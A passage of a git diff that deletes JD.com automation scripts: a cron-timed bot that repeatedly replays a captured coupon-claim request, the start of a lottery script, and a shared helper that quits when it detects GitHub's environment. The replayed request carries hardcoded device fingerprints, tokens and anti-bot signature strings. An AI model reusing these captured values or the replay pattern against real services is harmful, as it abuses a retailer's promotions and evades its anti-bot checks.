let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_speedcoupon.js b/jd_speedcoupon.js deleted file mode 100644 index 272a93124..000000000 --- a/jd_speedcoupon.js +++ /dev/null @@ -1,178 +0,0 @@ -/* -极速版抢卷 - -============Quantumultx=============== -[task_local] -#极速版抢卷 -58 59 6,9,14,17,20 * * * jd_speedcoupon.js, tag=极速版抢卷, enabled=true -================Loon============== -[Script] -cron "58 59 6,9,14,17,20 * * *" script-path=jd_speedcoupon.js,tag=极速版抢卷 -===============Surge================= -极速版抢卷 = type=cron,cronexp="58 59 6,9,14,17,20 * * *",wake-system=1,timeout=3600,script-path=jd_speedcoupon.js -============小火箭========= -极速版抢卷 = type=cron,script-path=jd_speedcoupon.js, cronexpr="58 59 6,9,14,17,20 * * *", timeout=3600, enable=true - */ -const $ = new Env('抢极速版全品卷5-2'); -const moment = require('moment'); -//进容器安装依赖: npm install -g moment -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 30 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action?'; -let wait = ms => new Promise(resolve => setTimeout(resolve, ms)); -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - await wait(100) - for (let j = 0; j < randomCount; ++j) - for (let i = 0; i < 1; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - console.log(`*********京东账号${$.index} ${$.UserName}*********`) - $.isLogin = true; - $.nickName = ''; - message = ''; - await qiang(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function qiang() { - await exchange() -} - -function exchange() { - return new Promise(resolve => { - $.post(taskUrl('functionId=lite_newBabelAwardCollection'), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} user/exchange/bean API请求失败,请检查网路重试\n`) - } else { - console.log(moment().format("YYYY-MM-DD HH:mm:ss.SSS")); - console.log(data); - if (safeGet(data)) { - data = JSON.parse(data); - console.log(`抢券结果:${JSON.stringify(data)}\n`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `https://api.m.jd.com/client.action?functionId=lite_newBabelAwardCollection`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'origin': 'https://pro.m.jd.com', - "Referer": "https://pro.m.jd.com/jdlite/active/3H885vA4sQj6ctYzzPVix4iiYN2P/index.html?lng=106.476617&lat=29.502674&sid=fbc43764317f538b90e0f9ab43c8285w&un_area=4_50952_106_0", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - }, - body: "body=%7B%22activityId%22%3A%223H885vA4sQj6ctYzzPVix4iiYN2P%22%2C%22scene%22%3A%221%22%2C%22args%22%3A%22key%3DC1DEFD3C0396EDFC8215ACBF751C4620F0395465605CF9442326408CFB8A4F9825E83CD6C2B86F8929CB2F1095FB610F_bingo%2CroleId%3D23E2CB5340B5C6BEDF23627C434572F9_bingo%2CstrengthenKey%3D7234093DC9375F51DDB7D38147D7AD82EAEB0938B43AC37CCC32084DCB1D132207FDC1750C14EF7DD076988CA8C71BC4_bingo%22%2C%22platform%22%3A%221%22%2C%22orgType%22%3A%222%22%2C%22openId%22%3A%22-1%22%2C%22pageClickKey%22%3A%22-1%22%2C%22eid%22%3A%22EI7EMAW4ZLYP7BA2NPR3ZRDMA62D4SQSQ4OOFANS47F4GEBK2DN3LPSAVISERLPHUS75YZCZUXNDFNIQKRL6PXLHCE%22%2C%22fp%22%3A%220d25c19cc7ce1c852ad50183553c7cfe%22%2C%22shshshfp%22%3A%223622d575f3839e6ba16b0239c83567c5%22%2C%22shshshfpa%22%3A%22f62b6f85-ed1a-19a9-a983-5386fd853f3e-1633620784%22%2C%22shshshfpb%22%3A%22s5ANXcvD4c4lgaATnZ%2Fdzaw%3D%3D%22%2C%22childActivityUrl%22%3A%22https%253A%252F%252Fprodev.m.jd.com%252Fjdlite%252Factive%252F3H885vA4sQj6ctYzzPVix4iiYN2P%252Findex.html%253Flng%253D106.476367%2526lat%253D29.502914%2526sid%253Dfbc43764317f538b90e0f9ab43c8285w%2526un_area%253D4_50952_106_0%22%2C%22userArea%22%3A%22-1%22%2C%22client%22%3A%22-1%22%2C%22clientVersion%22%3A%22-1%22%2C%22uuid%22%3A%22-1%22%2C%22osVersion%22%3A%22-1%22%2C%22brand%22%3A%22-1%22%2C%22model%22%3A%22-1%22%2C%22networkType%22%3A%22-1%22%2C%22jda%22%3A%22122270672.16425253116601960425755.1642525311.1644803500.1644803556.160%22%2C%22sdkToken%22%3A%22%22%2C%22token%22%3A%22NP7KXWSKCPPCSE2KMRATB42RKR3PT3B5WW5MWJXE2JPJPKJMCGTQFGM6UVN6VY2XTLJAMOHMWQRFC%22%2C%22jstub%22%3A%22UZ625TL7NA35Q5AUO6YVSLI4SBF7UJQLFNQJFDA7G6BRNRZPD2HUPLOO65HNMSHXX7YNA62PFDEULVB7UMV7SM76HXORSWUGNJMA3IA%22%2C%22pageClick%22%3A%22Babel_Coupon%22%2C%22couponSource%22%3A%22manual%22%2C%22couponSourceDetail%22%3A%22-100%22%2C%22channel%22%3A%22%E9%80%9A%E5%A4%A9%E5%A1%94%E4%BC%9A%E5%9C%BA%22%2C%22headArea%22%3A%22605715ec560d6508f7403b91b677d79c%22%2C%22sceId%22%3A%22TTTh5%22%2C%22rstr%22%3A%2229463958%22%2C%22sstr%22%3A%221644804028555~1fR7teXPatEMDF4TnlzdzAxMQ%3D%3D.SXhNR09IeklCRk1%2BTw0HS3grQCIJBTMbCUliTl9BVH8HQQlJMApGNjYWGgUzTC1NHxAZDy0dLVcqAxIARXMH.32bbefe8~6%2C1~DE99009AC329C084289942FF81223D8AFE3987BC~1n1vrke~C~SBtGWxYPbWkdEUdXXxQObhRQAB4GbB5yehkCbGcfRhVGFBgXUgEcCnIVdnIYAAFzHQMdCQMDGEEUGBNXBBQLdxhxchgECgAVAhgEBAMYRRFuFRBRRlsUDgcfEUpBFA4XBwIFBwsJBgYGBAECBQYBDQoUGBdBUVURCRtGQkBBQlJEVREVEEFRVBQOE1VVTUZCQEBXFh0RQ11cFA5uBQQdCwQAHgcMGQEYAB8GZB4UXl8UDgIfEVpBFA4XBgUEC1FcBQ9QBwQDBAEHClFQUgIHAAMBVQEAVVYCAFATHxFXQhQOF19kWVxdXBAaFkEUDgAFBw0KBgAFBAwEBgYVEFxfFwwWUBEfG1RGVhcMFkIGcndqVUJxAlcFX1RYc2JabxlQS1JEBA8UGBdYQhMJEXhCRlhQFndeXkNMRlNGGRZ9X1AdGx4UWlRAFgsRAggDBxYZFEdSQREDaQEHAxoAAAduFRBEWxcMbxNaY1FdWFENGgYTHxFQfWUWGRQFBR0LGx4UBxsOGgMRHxsDBwUEFBgTUlEAVFANDQcEBVBSCFYGUQwAAgJVVggAVAMFA1dQAwcJU1AGBwBRUhEfG1MUaRkUXV5SEQMQUFJTUFJXR0cbHhRVXxQOE0YRFRBVXRcMFkYAHQ0cBRYZFFdXbEUbCBQEBBQYE1FXGwgURlRYUF5eDgsLAgIGDwEJER8bX1wWD20FAh8DFQJrGBdUWF5UEQMQVxYZFFlCVBEDEFcWSA%3D%3D~0a73lnr%22%2C%22mitemAddrId%22%3A%22%22%2C%22geo%22%3A%7B%22lng%22%3A%22106.476367%22%2C%22lat%22%3A%2229.502914%22%7D%2C%22addressId%22%3A%22%22%2C%22posLng%22%3A%22%22%2C%22posLat%22%3A%22%22%2C%22focus%22%3A%22%22%2C%22innerAnchor%22%3A%22%22%2C%22cv%22%3A%222.0%22%7D&screen=1242*2016&client=wh5&clientVersion=1.0.0&sid=fbc43764317f538b90e0f9ab43c8285w&uuid=16425253116601960425755.56.1644804021838&area=4_50952_106_0" - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_sxLottery.js b/jd_sxLottery.js deleted file mode 100644 index 19cb9d712..000000000 --- a/jd_sxLottery.js +++ /dev/null @@ -1,416 +0,0 @@ -/* -京东生鲜每日抽奖,可抽奖获得京豆, -活动入口:京东生鲜每日抽奖 -by:小手冰凉 -交流群:https://t.me/jdPLA2 -脚本更新时间:2021-12-31 -脚本兼容: Node.js -新手写脚本,难免有bug,能用且用。 -=========================== -[task_local] -#京东生鲜每日抽奖 -10 7 * * * jd jd_sxLottery.js, tag=京东生鲜每日抽奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_sxLottery.png, enabled=true - */ -const $ = new Env('京东生鲜每日抽奖'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -$.configCode = ""; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - await getCode(); //获取任务 